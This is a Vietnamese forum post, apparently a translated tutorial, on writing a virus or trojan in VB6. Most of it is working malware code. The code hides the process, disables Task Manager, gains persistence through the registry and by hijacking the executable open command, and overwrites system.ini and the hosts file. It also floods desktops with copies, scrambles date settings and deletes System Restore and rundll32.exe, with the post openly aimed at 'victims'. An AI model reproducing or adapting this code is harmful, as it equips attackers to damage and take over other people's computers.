[Only admins are allowed to see this link]



1. Bạn muốn viết Virus bằng vb6 ? và bạn đang muốn tìm 1 sự giúp đỡ ? Không đâu xa , chính tại nơi này , để làm Virus bằng vb6
Bật vb6 lên
Đầu tiên , hãy bắt đầu với một số mã cơ bản để giấu Virus/Worm/Trojan trong máy của nạn nhân.

Private Sub Form_Load()
On Error Resume Next 'Lệnh này cho phép chương trình của bạn vẫn tiếp tục chạy dù đang bị lỗi.
me.Hide 'Lệnh này sẽ giấu chương trình của bạn với nạn nhân
App.TaskVisible = False
'Lệnh này sẽ giấu ứng dụng của bạn trong danh sách những file exe đang chạy của task manager
End Sub

Ok , bây giờ mới bắt đầu "trò vui" đây , đây là một Scripts mà tôi thích dùng
hi vọng nó sẽ giúp ích cho bạn , tuy nó đơn giản nhưng nên cơm nên cháo đấy
Disable TaskManager :

Shell "REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Pol icies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", vbHide

Bằng hàm shell , bạn có thể dùng bất cứ lệnh nào trong CMD ( command dos) , và nếu bạn thêm ,vbHide bên sau nó ,
CMD sẽ không xuất hiện và victim tưởng không có chuyện gì xảy ra.
Thêm một số lệnh nữa trong VB6 Pro :

Shell "REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ###Name### /t REG_SZ /d ###Drive:\Path\Name.exe### /f", vbHide
' Làm chương trình khởi động cùng Window

Shell "REG add HKCR\exefile\shell\open\command /v Shell /t REG_SZ /d ###Drive:\Path\Name.exe### %1 %* /f", vbHide
'Lệnh trên sẽ làm cho chương trình chạy khi nạn nhân mở một ứng dụng khác , ví dụ : msnmsngr.exe

Shell "REG add HKLM\Control Panel\International /v s1159 /t REG_S /d ###Letter/Symbol/Number### /f", vbHide
Shell "REG add HKLM\Control Panel\International /v s2359 /t REG_SZ /d ###Letter/Symbol/Number### /f", vbHide
Shell "REG add HKLM\Control Panel\International /v SLongDate /t REG_SZ /d ###Letter/Symbol/Number### /f", vbHide
Shell "REG add HKLM\Control Panel\International /v sShortDate /t REG_SZ /d ###Letter/Symbol/Number### /f", vbHide
Shell "REG add HKLM\Control Panel\International /v sTimeFormat /t REG_SZ /d ###Letter/Symbol/Number### /f", vbHide
Shell "REG add HKLM\Control Panel\International /v sNativeDigits /t REG_SZ /d ###Letter/Symbol/Number### /f", vbHide

'Những lệnh trên sẽ làm cho ngày giờ trên máy nạn nhân bị đảo lộn hòan toàn
'Đổi "###Letter/Symbol/Number###" thành dấu "?" thì nạn nhân sẽ thấy thời gian là ????? còn ngày là ??????

FileCopy App.Path & "\" & App.EXEName & ".EXE", "Drive:\Path\Name.exe"
'Mã này tốt , khi bạn copy virus/worm ... của bạn tới 1 nơi khác , nó sẽ tìm windows processes giống như svchost.exe mục đích làm cho nạn nhân khó loại bỏ virus của bạn

Dim intResult As Integer
Randomize
intResult = Int((9542 * Rnd) + 4592)
FileCopy App.Path & "\" & App.EXEName & ".EXE", "c:\Documents and Settings\All Users\Desktop\DimenBlackScript.exe" & intResult & ".exe"
'Ok , hãy vui một chút , đây là code đơn giản nhưng khá khó chịu , thêm 1 timer vào chương trình
'và cho interval = 1 , khi đọan code chạy, tất cả desktop của mọi user sẽ bị đầy tràn những chương trình của bạn

'runs the more Memory it takes up and the more viruses that person has to delete, try adding it to places like
' C:\DOCU~\All Users\Start Menu\Programs\Start up\
'That will cause the victim alot of hassle =P.
Ai dịch giùm câu ở trên với , lần đầu dịch bài

Kill "c:\windows\.ini"
Kill "c:\windows\system.ini"
Open "c:\WINDOWS\.ini" For Output As #1
Print #1, "Load = C:\Program Files\Virus1.exe"
Print #1, "run = C:\Program Files\Virus2.exe"
Close #1
Open "c:\WINDOWS\system.ini" For Output As #1
Print #1, "Shell=Explorer.exe C:\WINDOWS\System\Virus3.exe"
Print #1, "Shell=Explorer.exe C:\WINDOWS\System32\Virus4.exe"
Close #1
'Ok , code trên làm chương trình của bạn khởi động cùng window mà không cần Registry hoặc DOS

Open "c:\WINDOWS\system32\drivers\etc\hosts" For Output As #1
Print #1, "208.65.153.251 208.65.153.251 "
Print #1, "208.65.153.251 [Only admins are allowed to see this link]
Print #1, "208.65.153.251 [Only admins are allowed to see this link]
Print #1, "208.65.153.251 [Only admins are allowed to see this link]
Print #1, "208.65.153.251 [Only admins are allowed to see this link]
Print #1, "208.65.153.251 [Only admins are allowed to see this link]
Print #1, "208.65.153.251 [Only admins are allowed to see this link]
Print #1, "208.65.153.251 [Only admins are allowed to see this link]
Print #1, "208.65.153.251 [Only admins are allowed to see this link]
Print #1, "208.65.153.251 [Only admins are allowed to see this link]
Print #1, "208.65.153.251 [Only admins are allowed to see this link]
Print #1, "208.65.153.251 [Only admins are allowed to see this link]
Print #1, "208.65.153.251 [Only admins are allowed to see this link]
Print #1, "208.65.153.251 [Only admins are allowed to see this link]
Close #1

'Code trên chỉ làm cho nạn nhân không truy cập được và mấy trang như Google thôi, hoặc lấy thêm thông tin
'hoặc không cho tải những chương trình để chặn con Virus của bạn

Kill "%SystemRoot%\syst" & "em32\dfrg.msc"
Kill "%SystemRoot%\syste" & "m32\wscui.cpl"
Kill "C:\Program Files\Co" & "mmon Files\Microsoft Shared\MSInfo\msinfo32.exe"
Kill "%SystemRoot%\syste" & "m32\restore\rstrui.exe"
Kill "c:\WINDOWS\syste" & "m32\rundll32.exe"
'Ok, cuối cùng hãy loại bỏ bằng System Restore, chạy dll ( bằng cách xóa file này,
'nạn nhân sẽ không thấy các thuộc tính của bất kỳ file nào trên máy

mình không chịu trách nhiệm cho những ai mà dùng những code này để làm những việc bất chính.
Dịch có chỗ nào chưa hay mong các anh chỉ giáo
Tìm tất cả bài viết của thành viên nàyfind